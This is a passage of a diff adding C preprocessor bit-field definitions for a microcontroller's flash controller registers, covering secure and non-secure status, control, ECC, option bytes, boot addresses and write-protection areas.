FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 